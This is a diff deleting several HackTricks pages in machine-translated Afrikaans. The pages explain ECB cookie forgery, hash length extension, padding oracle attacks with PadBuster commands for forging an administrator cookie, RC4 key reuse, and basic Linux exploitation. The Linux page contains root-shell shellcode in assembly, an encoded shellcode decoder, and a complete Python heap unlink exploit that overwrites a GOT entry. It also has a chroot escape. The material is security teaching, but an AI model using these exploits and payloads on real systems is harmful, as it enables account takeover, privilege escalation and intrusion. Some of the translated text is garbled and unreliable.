## Verwydering van hele blokke
|
||||
|
||||
Deur die formaat van die koekie (`<gebruikersnaam>|<wagwoord>`) te ken, om die gebruikersnaam `admin` na te doen, skep 'n nuwe gebruiker genaamd `aaaaaaaaadmin` en kry die koekie en dekodeer dit:
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
Ons kan die patroon `\x23U\xE45K\xCB\x21\xC8` wat vroeër geskep is met die gebruikersnaam wat slegs `a` bevat, sien.\
|
||||
Dan kan jy die eerste blok van 8B verwyder en jy sal 'n geldige koekie vir die gebruikersnaam `admin` kry:
|
||||
```
|
||||
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
## Beweeg blokke
|
||||
|
||||
In baie databasisse is dit dieselfde om te soek na `WHERE username='admin';` of vir `WHERE username='admin ';` _(Let op die ekstra spaties)_
|
||||
|
||||
So, 'n ander manier om die gebruiker `admin` na te volg, sou wees om:
|
||||
|
||||
- 'n gebruikersnaam te genereer wat: `len(<username>) + len(<delimiter) % len(block)`. Met 'n blokgrootte van `8B` kan jy 'n gebruikersnaam genereer wat genoem word: `username `, met die afskeidsteken `|` sal die stuk `<username><delimiter>` 2 blokke van 8Bs genereer.
|
||||
- Dan, genereer 'n wagwoord wat 'n presiese aantal blokke sal vul wat die gebruikersnaam bevat wat ons wil naboots en spaties, soos: `admin `
|
||||
|
||||
Die koekie van hierdie gebruiker gaan bestaan uit 3 blokke: die eerste 2 is die blokke van die gebruikersnaam + afskeidsteken en die derde een van die wagwoord (wat die gebruikersnaam naboots): `username |admin `
|
||||
|
||||
**Vervang dan net die eerste blok met die laaste keer en jy sal die gebruiker `admin` naboots: `admin |username`**
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](<http://cryptowiki.net/index.php?title=Electronic_Code_Book_(ECB)>)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,38 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# Samevatting van die aanval
|
||||
|
||||
Stel jou 'n bediener voor wat **onderteken** sekere **data** deur 'n **geheime** waarde aan bekende duidelike teksdata toe te voeg en dan daardie data te hash. As jy weet:
|
||||
|
||||
- **Die lengte van die geheim** (dit kan ook bruteforceer word uit 'n gegewe lengterange)
|
||||
- **Die duidelike teksdata**
|
||||
- **Die algoritme (en dit is kwesbaar vir hierdie aanval)**
|
||||
- **Die padding is bekend**
|
||||
- Gewoonlik word 'n standaard een gebruik, so as die ander 3 vereistes nagekom word, is dit ook
|
||||
- Die padding wissel afhangende van die lengte van die geheim+data, daarom is die lengte van die geheim nodig
|
||||
|
||||
Dan is dit moontlik vir 'n **aanvaller** om **data** toe te voeg en 'n geldige **handtekening** te **genereer** vir die **vorige data + bygevoegde data**.
|
||||
|
||||
## Hoe?
|
||||
|
||||
Basies genereer die kwesbare algoritmes die hashes deur eerstens **'n blok data te hash**, en dan, **uit** die **voorheen** geskepte **hash** (toestand), voeg hulle **die volgende blok data** by en **hash dit**.
|
||||
|
||||
Stel jou voor dat die geheim "secret" is en die data "data" is, die MD5 van "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
As 'n aanvaller die string "append" wil byvoeg, kan hy:
|
||||
|
||||
- 'n MD5 van 64 "A"s genereer
|
||||
- Die toestand van die voorheen geïnitialiseerde hash verander na 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
- Die string "append" byvoeg
|
||||
- Die hash voltooi en die resultaat sal 'n **geldige een wees vir "secret" + "data" + "padding" + "append"**
|
||||
|
||||
## **Gereedskap**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/iagox86/hash_extender
|
||||
{{#endref}}
|
||||
|
||||
## Verwysings
|
||||
|
||||
Jy kan hierdie aanval goed verduidelik vind in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,102 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
# CBC - Cipher Block Chaining
|
||||
|
||||
In CBC-modus word die **vorige versleutelde blok as IV** gebruik om met die volgende blok te XOR:
|
||||
|
||||

|
||||
|
||||
Om CBC te ontsleutel, word die **teenoorgestelde** **operasies** uitgevoer:
|
||||
|
||||

|
||||
|
||||
Let op hoe dit nodig is om 'n **versleuteling** **sleutel** en 'n **IV** te gebruik.
|
||||
|
||||
# Boodskap Padding
|
||||
|
||||
Aangesien die versleuteling in **vaste** **grootte** **blokkies** uitgevoer word, is **padding** gewoonlik nodig in die **laaste** **blok** om sy lengte te voltooi.\
|
||||
Gewoonlik word **PKCS7** gebruik, wat 'n padding genereer deur die **aantal** **bytes** **nodig** om die blok te **voltooi** te herhaal. Byvoorbeeld, as die laaste blok 3 bytes kort is, sal die padding `\x03\x03\x03` wees.
|
||||
|
||||
Kom ons kyk na meer voorbeelde met **2 blokkies van 8bytes lengte**:
|
||||
|
||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||
|
||||
Let op hoe in die laaste voorbeeld die **laaste blok vol was, so 'n ander een is net met padding gegenereer**.
|
||||
|
||||
# Padding Oracle
|
||||
|
||||
Wanneer 'n toepassing versleutelde data ontsleutel, sal dit eers die data ontsleutel; dan sal dit die padding verwyder. Tydens die opruiming van die padding, as 'n **ongeldige padding 'n waarneembare gedrag veroorsaak**, het jy 'n **padding oracle kwesbaarheid**. Die waarneembare gedrag kan 'n **fout**, 'n **gebrek aan resultate**, of 'n **langsame reaksie** wees.
|
||||
|
||||
As jy hierdie gedrag waarneem, kan jy die **versleutelde data ontsleutel** en selfs **enige duidelike teks versleutel**.
|
||||
|
||||
## Hoe om te benut
|
||||
|
||||
Jy kan [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) gebruik om hierdie tipe kwesbaarheid te benut of net doen
|
||||
```
|
||||
sudo apt-get install padbuster
|
||||
```
|
||||
Om te toets of die koekie van 'n webwerf kwesbaar is, kan jy probeer:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||||
```
|
||||
**Kodering 0** beteken dat **base64** gebruik word (maar ander is beskikbaar, kyk na die hulpmenu).
|
||||
|
||||
Jy kan ook **hierdie kwesbaarheid misbruik om nuwe data te enkripteer. Byvoorbeeld, veronderstel dat die inhoud van die koekie is "**_**user=MyUsername**_**", dan kan jy dit verander na "\_user=administrator\_" en bevoegdhede binne die aansoek opgradeer. Jy kan dit ook doen met `paduster` deur die -plaintext** parameter te spesifiseer:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||
```
|
||||
As die webwerf kwesbaar is, sal `padbuster` outomaties probeer om te vind wanneer die padding fout voorkom, maar jy kan ook die foutboodskap aandui deur die **-error** parameter te gebruik.
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||
```
|
||||
## Die teorie
|
||||
|
||||
In **samevatting**, jy kan begin om die versleutelde data te ontsleutel deur die korrekte waardes te raai wat gebruik kan word om al die **verskillende opvullings** te skep. Dan sal die padding oracle aanval begin om bytes van die einde na die begin te ontsleutel deur te raai wat die korrekte waarde is wat **'n opvulling van 1, 2, 3, ens.** skep.
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Stel jou voor jy het 'n paar versleutelde teks wat **2 blokke** beslaan wat gevorm word deur die bytes van **E0 tot E15**.\
|
||||
Om die **laaste** **blok** (**E8** tot **E15**) te **ontsleutel**, gaan die hele blok deur die "blok-kodering ontsleuteling" wat die **intermediêre bytes I0 tot I15** genereer.\
|
||||
Laastens, elke intermediêre byte word **XORed** met die vorige versleutelde bytes (E0 tot E7). So:
|
||||
|
||||
- `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||
- `C14 = I14 ^ E6`
|
||||
- `C13 = I13 ^ E5`
|
||||
- `C12 = I12 ^ E4`
|
||||
- ...
|
||||
|
||||
Nou, dit is moontlik om `E7` te **wysig totdat `C15` `0x01` is**, wat ook 'n korrekte opvulling sal wees. So, in hierdie geval: `\x01 = I15 ^ E'7`
|
||||
|
||||
So, om E'7 te vind, is dit **moontlik om I15 te bereken**: `I15 = 0x01 ^ E'7`
|
||||
|
||||
Wat ons toelaat om **C15 te bereken**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
|
||||
As ons **C15** ken, is dit nou moontlik om **C14** te **bereken**, maar hierdie keer brute-forcing die opvulling `\x02\x02`.
|
||||
|
||||
Hierdie BF is net so kompleks soos die vorige een, aangesien dit moontlik is om die `E''15` waarvan die waarde 0x02 is te bereken: `E''7 = \x02 ^ I15` so dit is net nodig om die **`E'14`** te vind wat 'n **`C14` gelyk aan `0x02`** genereer.\
|
||||
Dan, doen dieselfde stappe om C14 te ontsleutel: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
|
||||
**Volg hierdie ketting totdat jy die hele versleutelde teks ontsleutel.**
|
||||
|
||||
## Opsporing van die kwesbaarheid
|
||||
|
||||
Registreer en skep 'n rekening en teken in met hierdie rekening.\
|
||||
As jy **baie keer aanmeld** en altyd die **dieselfde koekie** kry, is daar waarskynlik **iets** **verkeerd** in die toepassing. Die **koekie wat teruggestuur word, moet uniek wees** elke keer wat jy aanmeld. As die koekie **altyd** die **dieselfde** is, sal dit waarskynlik altyd geldig wees en daar **sal geen manier wees om dit te ongeldig te maak** nie.
|
||||
|
||||
Nou, as jy probeer om die **koekie** te **wysig**, kan jy sien dat jy 'n **fout** van die toepassing kry.\
|
||||
Maar as jy die opvulling BF (gebruik padbuster byvoorbeeld) kan jy 'n ander koekie kry wat geldig is vir 'n ander gebruiker. Hierdie scenario is hoogs waarskynlik kwesbaar vir padbuster.
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,15 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
As jy op een of ander manier 'n plaintekst met RC4 kan enkripteer, kan jy enige inhoud wat deur daardie RC4 geënkripteer is (met dieselfde wagwoord) net deur die enkripsiefunksie te gebruik, dekripteer.
|
||||
|
||||
As jy 'n bekende plaintekst kan enkripteer, kan jy ook die wagwoord onttrek. Meer verwysings kan gevind word in die HTB Kryptos masjien:
|
||||
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,9 +0,0 @@
|
||||
# E-pos Kw vulnerabilities
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
##
|
||||
|
||||
##
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,542 +0,0 @@
|
||||
# Linux Exploiting (Basic) (SPA)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **2.SHELLCODE**
|
||||
|
||||
Ver onderbrekings van die kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_”
|
||||
|
||||
setreuid(0,0); // \_\_NR_setreuid 70\
|
||||
execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\
|
||||
exit(0); // \_\_NR_exit 1
|
||||
|
||||
xor eax, eax ; skoonmaak eax\
|
||||
xor ebx, ebx ; ebx = 0 want daar is geen argument om oor te dra\
|
||||
mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\
|
||||
int 0x80 ; Voer syscall uit
|
||||
|
||||
**nasm -f elf assembly.asm** —> Dit gee ons 'n .o\
|
||||
**ld assembly.o -o shellcodeout** —> Dit gee ons 'n uitvoerbare vorm van die kode en ons kan die opcodes met **objdump** kry\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Om te sien dat dit werklik ons shellcode is en om die OpCodes te kry
|
||||
|
||||
**Kontroleer dat die shellcode werk**
|
||||
```
|
||||
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
||||
|
||||
void main(){
|
||||
void (*fp) (void);
|
||||
fp = (void *)shellcode;
|
||||
fp();
|
||||
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||||
```
|
||||
Om te sien dat die stelsels oproepe korrek uitgevoer word, moet die vorige program gekompileer word en die stelsels oproepe moet verskyn in **strace ./PROGRAMA_COMPILADO**
|
||||
|
||||
Wanneer shellcodes geskep word, kan 'n truuk gedoen word. Die eerste instruksie is 'n jump na 'n call. Die call roep die oorspronklike kode aan en plaas ook die EIP op die stack. Na die call-instruksie het ons die string wat ons benodig, ingevoeg, sodat ons met daardie EIP na die string kan verwys en ook die kode kan voortgaan uitvoer.
|
||||
|
||||
EJ **TRUCO (/bin/sh)**:
|
||||
```
|
||||
jmp 0x1f ; Salto al último call
|
||||
popl %esi ; Guardamos en ese la dirección al string
|
||||
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
|
||||
xorl %eax, %eax ; eax = NULL
|
||||
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
|
||||
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
|
||||
movl $0xb, %eax ; Syscall 11
|
||||
movl %esi, %ebx ; arg1=“/bin/sh”
|
||||
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
|
||||
leal 0xc(%esi), %edx ; arg3 = NULL
|
||||
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
|
||||
xorl %ebx, %ebx ; ebx = NULL
|
||||
movl %ebx, %eax
|
||||
inc %eax ; Syscall 1
|
||||
int $0x80 ; exit(0)
|
||||
call -0x24 ; Salto a la primera instrución
|
||||
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||||
```
|
||||
**EJ met die Stack(/bin/sh):**
|
||||
```
|
||||
section .text
|
||||
global _start
|
||||
_start:
|
||||
xor eax, eax ;Limpieza
|
||||
mov al, 0x46 ; Syscall 70
|
||||
xor ebx, ebx ; arg1 = 0
|
||||
xor ecx, ecx ; arg2 = 0
|
||||
int 0x80 ; setreuid(0,0)
|
||||
xor eax, eax ; eax = 0
|
||||
push eax ; “\0”
|
||||
push dword 0x68732f2f ; “//sh”
|
||||
push dword 0x6e69622f; “/bin”
|
||||
mov ebx, esp ; arg1 = “/bin//sh\0”
|
||||
push eax ; Null -> args[1]
|
||||
push ebx ; “/bin/sh\0” -> args[0]
|
||||
mov ecx, esp ; arg2 = args[]
|
||||
mov al, 0x0b ; Syscall 11
|
||||
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
||||
```
|
||||
**EJ FNSTENV:**
|
||||
```
|
||||
fabs
|
||||
fnstenv [esp-0x0c]
|
||||
pop eax ; Guarda el EIP en el que se ejecutó fabs
|
||||
…
|
||||
```
|
||||
**Egg Huter:**
|
||||
|
||||
Bestaan uit 'n klein kode wat die geheuebladsye geassosieer met 'n proses deursoek op soek na die shellcode wat daar gestoor is (soek 'n handtekening wat in die shellcode geplaas is). Nuttig in gevalle waar daar slegs 'n klein ruimte is om kode in te spuit.
|
||||
|
||||
**Shellcodes polimórfies**
|
||||
|
||||
Bestaan uit gesleutelde shells wat 'n klein kode het wat hulle ontsleutel en na hulle spring, met die truuk van Call-Pop, dit sou 'n **cesar gesleutelde voorbeeld** wees:
|
||||
```
|
||||
global _start
|
||||
_start:
|
||||
jmp short magic
|
||||
init:
|
||||
pop esi
|
||||
xor ecx, ecx
|
||||
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
|
||||
desc:
|
||||
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
|
||||
sub cl, 1
|
||||
jnz desc
|
||||
jmp short sc
|
||||
magic:
|
||||
call init
|
||||
sc:
|
||||
;Aquí va el shellcode
|
||||
```
|
||||
## **5. Aanvullende Metodes**
|
||||
|
||||
**Murat Tegniek**
|
||||
|
||||
In linux word alle programme vanaf 0xbfffffff gemap.
|
||||
|
||||
Deur te kyk hoe die stapel van 'n nuwe proses in linux gebou word, kan 'n exploit ontwikkel word sodat die program in 'n omgewing begin word waarvan die enigste veranderlike die shellcode is. Die adres hiervan kan dan bereken word as: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode)
|
||||
|
||||
Op hierdie manier kan die adres waar die omgewing veranderlike met die shellcode is, eenvoudig verkry word.
|
||||
|
||||
Dit kan gedoen word omdat die funksie execle toelaat om 'n omgewing te skep wat slegs die gewenste omgewing veranderlikes bevat.
|
||||
|
||||
##
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
### **Formaat Strings na Buffer Oorloop**
|
||||
|
||||
Die **sprintf moves** 'n geformateerde string **na** 'n **veranderlike.** Daarom kan jy die **formatering** van 'n string misbruik om 'n **buffer oorloop in die veranderlike** waar die inhoud na gekopieer word te veroorsaak.\
|
||||
Byvoorbeeld, die payload `%.44xAAAA` sal **44B+"AAAA" in die veranderlike** skryf, wat 'n buffer oorloop kan veroorsaak.
|
||||
|
||||
### **\_\_atexit Strukture**
|
||||
|
||||
> [!CAUTION]
|
||||
> Vandag is dit baie **vreemd om dit te exploiteer**.
|
||||
|
||||
**`atexit()`** is 'n funksie waaraan **ander funksies as parameters oorgedra word.** Hierdie **funksies** sal **uitgevoer** word wanneer 'n **`exit()`** of die **terugkeer** van die **hoofd** uitgevoer word.\
|
||||
As jy die **adres** van enige van hierdie **funksies** kan **wysig** om na 'n shellcode te wys, sal jy **beheer** oor die **proses** verkry, maar dit is tans meer ingewikkeld.\
|
||||
Tans is die **adresse na die funksies** wat uitgevoer moet word **versteek** agter verskeie strukture en uiteindelik is die adres waarnatoe dit wys nie die adresse van die funksies nie, maar is **geënkripteer met XOR** en verskuiwings met 'n **willekeurige sleutel**. So tans is hierdie aanvalsvector **nie baie nuttig nie, ten minste op x86** en **x64_86**.\
|
||||
Die **enkripsiefunksie** is **`PTR_MANGLE`**. **Ander argitekture** soos m68k, mips32, mips64, aarch64, arm, hppa... **implementeer nie die enkripsie** funksie nie omdat dit **die selfde** teruggee as wat dit as invoer ontvang. So hierdie argitekture kan deur hierdie vektor aangeval word.
|
||||
|
||||
### **setjmp() & longjmp()**
|
||||
|
||||
> [!CAUTION]
|
||||
> Vandag is dit baie **vreemd om dit te exploiteer**.
|
||||
|
||||
**`Setjmp()`** laat toe om die **konteks** (die registers)\
|
||||
**`longjmp()`** laat toe om die **konteks** te **herstel**.\
|
||||
Die **beskermde registers** is: `EBX, ESI, EDI, ESP, EIP, EBP`\
|
||||
Wat gebeur is dat EIP en ESP deur die **`PTR_MANGLE`** funksie oorgedra word, so die **argitektuur wat kwesbaar is vir hierdie aanval is dieselfde as hierbo**.\
|
||||
Hulle is nuttig vir foutherstel of onderbrekings.\
|
||||
E however, volgens wat ek gelees het, is die ander registers nie beskerm nie, **so as daar 'n `call ebx`, `call esi` of `call edi`** binne die funksie wat aangeroep word, kan beheer oorgeneem word. Of jy kan ook EBP wysig om die ESP te wysig.
|
||||
|
||||
**VTable en VPTR in C++**
|
||||
|
||||
Elke klas het 'n **Vtable** wat 'n array van **pointers na metodes** is.
|
||||
|
||||
Elke objek van 'n **klas** het 'n **VPtr** wat 'n **pointer** na die array van sy klas is. Die VPtr is deel van die kop van elke objek, so as 'n **oorskrywing** van die **VPtr** bereik word, kan dit **gewysig** word om na 'n dummy metode te **wys** sodat die uitvoering van 'n funksie na die shellcode sal gaan.
|
||||
|
||||
## **Preventiewe Maatreëls en Ontduikings**
|
||||
|
||||
###
|
||||
|
||||
**Vervanging van Libsafe**
|
||||
|
||||
Word geaktiveer met: LD_PRELOAD=/lib/libsafe.so.2\
|
||||
of\
|
||||
“/lib/libsave.so.2” > /etc/ld.so.preload
|
||||
|
||||
Dit onderskep oproepe na sommige onveilige funksies deur ander veilige. Dit is nie gestandaardiseer nie. (slegs vir x86, nie vir kompilasies met -fomit-frame-pointer, nie statiese kompilasies nie, nie alle kwesbare funksies word veilig nie en LD_PRELOAD werk nie in binêre met suid nie).
|
||||
|
||||
**ASCII Gewapende Adres Ruimte**
|
||||
|
||||
Bestaan uit die laai van die gedeelde biblioteke van 0x00000000 tot 0x00ffffff sodat daar altyd 'n byte 0x00 is. Dit stop egter regtig min aanvalle, en nog minder in little endian.
|
||||
|
||||
**ret2plt**
|
||||
|
||||
Bestaan uit die uitvoering van 'n ROP sodat die funksie strcpy@plt (van die plt) aangeroep word en na die ingang van die GOT gewys word en die eerste byte van die funksie wat aangeroep moet word (system()). Daarna word dieselfde gedoen deur na GOT+1 te wys en die 2de byte van system() te kopieer… Uiteindelik word die adres wat in GOT gestoor is, aangeroep wat system() sal wees.
|
||||
|
||||
**Hokke met chroot()**
|
||||
|
||||
debootstrap -arch=i386 hardy /home/user —> Installeer 'n basiese stelsel onder 'n spesifieke subgids
|
||||
|
||||
'n Admin kan uit een van hierdie hokke kom deur: mkdir foo; chroot foo; cd ..
|
||||
|
||||
**Kodesinstrumentering**
|
||||
|
||||
Valgrind —> Soek foute\
|
||||
Memcheck\
|
||||
RAD (Return Address Defender)\
|
||||
Insure++
|
||||
|
||||
## **8 Heap Oorloop: Basiese Exploits**
|
||||
|
||||
**Toegewyde Stuk**
|
||||
|
||||
prev_size |\
|
||||
size | —Kop\
|
||||
\*mem | Data
|
||||
|
||||
**Vrye Stuk**
|
||||
|
||||
prev_size |\
|
||||
size |\
|
||||
\*fd | Ptr vorentoe stuk\
|
||||
\*bk | Ptr agterstuk —Kop\
|
||||
\*mem | Data
|
||||
|
||||
Die vrye stukke is in 'n dubbelgekoppelde lys (bin) en daar kan nooit twee vrye stukke langs mekaar wees nie (hulle word saamgevoeg).
|
||||
|
||||
In “size” is daar bits om aan te dui: Of die vorige stuk in gebruik is, of die stuk deur mmap() toegeken is en of die stuk aan die primêre arena behoort.
|
||||
|
||||
As 'n stuk vrygestel word en een van die aangrensende vry is, word hulle saamgevoeg deur die makro unlink() en die nuwe groter stuk word aan frontlink() gegee om die toepaslike bin in te voeg.
|
||||
|
||||
unlink(){\
|
||||
BK = P->bk; —> Die BK van die nuwe stuk is die een wat die een wat al vry was, gehad het\
|
||||
FD = P->fd; —> Die FD van die nuwe stuk is die een wat die een wat al vry was, gehad het\
|
||||
FD->bk = BK; —> Die BK van die volgende stuk wys na die nuwe stuk\
|
||||
BK->fd = FD; —> Die FD van die vorige stuk wys na die nuwe stuk\
|
||||
}
|
||||
|
||||
Daarom, as ons daarin slaag om die P->bk met die adres van 'n shellcode en die P->fd met die adres na 'n ingang in die GOT of DTORS minus 12 te wysig, bereik ons:
|
||||
|
||||
BK = P->bk = \&shellcode\
|
||||
FD = P->fd = &\_\_dtor_end\_\_ - 12\
|
||||
FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode
|
||||
|
||||
En so sal die shellcode uitgevoer word wanneer die program verlaat.
|
||||
|
||||
Boonop skryf die 4de stelling van unlink() iets en die shellcode moet hiervoor herstel wees:
|
||||
|
||||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Dit veroorsaak die skryf van 4 bytes vanaf die 8ste byte van die shellcode, so die eerste instruksie van die shellcode moet 'n jmp wees om dit te oorslaan en in 'n paar nops te val wat na die res van die shellcode lei.
|
||||
|
||||
Daarom word die exploit geskep:
|
||||
|
||||
In die buffer1 plaas ons die shellcode wat begin met 'n jmp sodat dit in die nops of in die res van die shellcode val.
|
||||
|
||||
Na die shellcode plaas ons opvulling totdat ons by die veld prev_size en size van die volgende stuk kom. In hierdie plekke plaas ons 0xfffffff0 (sodat die prev_size oorgeskryf word om die bit wat sê dit is vry te hê) en “-4“(0xfffffffc) in die size (sodat wanneer dit in die 3de stuk kyk of die 2de werklik vry was, dit na die gewysigde prev_size gaan wat sal sê dit is vry) -> So wanneer free() ondersoek, sal dit na die size van die 3de gaan, maar eintlik na die 2de - 4 en sal dink dat die 2de stuk vry is. En dan sal dit **unlink()** aanroep.
|
||||
|
||||
Wanneer unlink() aangeroep word, sal dit die eerste data van die 2de stuk as P->fd gebruik, sodat daar die adres wat jy wil oorgeskryf word - 12 (want in FD->bk sal dit 12 by die adres wat in FD gestoor is, voeg). En in daardie adres sal dit die tweede adres wat in die 2de stuk gevind word, plaas, wat ons sal belangrik wees dat dit die adres na die shellcode is (P->bk vals).
|
||||
|
||||
**from struct import \***
|
||||
|
||||
**import os**
|
||||
|
||||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes van opvulling**
|
||||
|
||||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||||
|
||||
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
||||
|
||||
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
||||
|
||||
**prev_size = pack("\<I”, 0xfffffff0) #Dit is belangrik dat die bit wat aandui dat die vorige stuk vry is, op 1 is**
|
||||
|
||||
**fake_size = pack("\<I”, 0xfffffffc) #-4, sodat dit dink dat die “size” van die 3de stuk 4bytes agter is (wys na prev_size) want dit is daar waar dit kyk of die 2de stuk vry is**
|
||||
|
||||
**addr_sc = pack("\<I", 0x0804a008 + 8) #In die payload sal ons aan die begin 8bytes van opvulling plaas**
|
||||
|
||||
**got_free = pack("\<I", 0x08048300 - 12) #Adres van free() in die plt-12 (sal die adres wees wat oorgeskryf word sodat die shellcode die 2de keer wat free aangeroep word, gelanseer word)**
|
||||
|
||||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Soos gesê begin die payload met 8 bytes van opvulling omdat dit is**
|
||||
|
||||
**payload += prev_size + fake_size + got_free + addr_sc #Die 2de stuk word gewysig, die got_free wys na waar ons die adres addr_sc + 12 gaan stoor**
|
||||
|
||||
**os.system("./8.3.o " + payload)**
|
||||
|
||||
**unset() vrylatend in omgekeerde volgorde (wargame)**
|
||||
|
||||
Ons beheer 3 opeenvolgende stukke en hulle word in omgekeerde volgorde vrygestel.
|
||||
|
||||
In daardie geval:
|
||||
|
||||
In die chunck c plaas ons die shellcode
|
||||
|
||||
Die chunck a gebruik ons om die b te oorskry sodat die size die PREV_INUSE bit deaktiveer, sodat dit dink dat die chunck a vry is.
|
||||
|
||||
Boonop word die size in die kop b oorgeskryf sodat dit -4 is.
|
||||
|
||||
Dan sal die program dink dat “a” vry is en in 'n bin, sodat dit unlink() sal aanroep om dit te ontkoppel. Maar, aangesien die kop PREV_SIZE -4 is, sal dit dink dat die stuk “a” werklik begin in b+4. Dit wil sê, dit sal 'n unlink() na 'n stuk wat begin in b+4, sodat in b+12 die pointer “fd” sal wees en in b+16 die pointer “bk”.
|
||||
|
||||
So, as ons in bk die adres na die shellcode plaas en in fd die adres na die funksie “puts()”-12, het ons ons payload.
|
||||
|
||||
**Frontlink Tegniek**
|
||||
|
||||
Dit word frontlink genoem wanneer iets vrygestel word en geen van sy aangrensende stukke vry is nie, dit roep nie unlink() aan nie, maar roep direk frontlink() aan.
|
||||
|
||||
Nuttige kwesbaarheid wanneer die malloc wat aangeval word, nooit vrygestel word (free()).
|
||||
|
||||
Benodig:
|
||||
|
||||
'n buffer wat oorloop kan word met die invoerfunksie
|
||||
|
||||
'n buffer wat aangrensend aan hierdie is wat vrygestel moet word en waarvan die fd veld van sy kop gewysig sal word danksy die oorloop van die vorige buffer
|
||||
|
||||
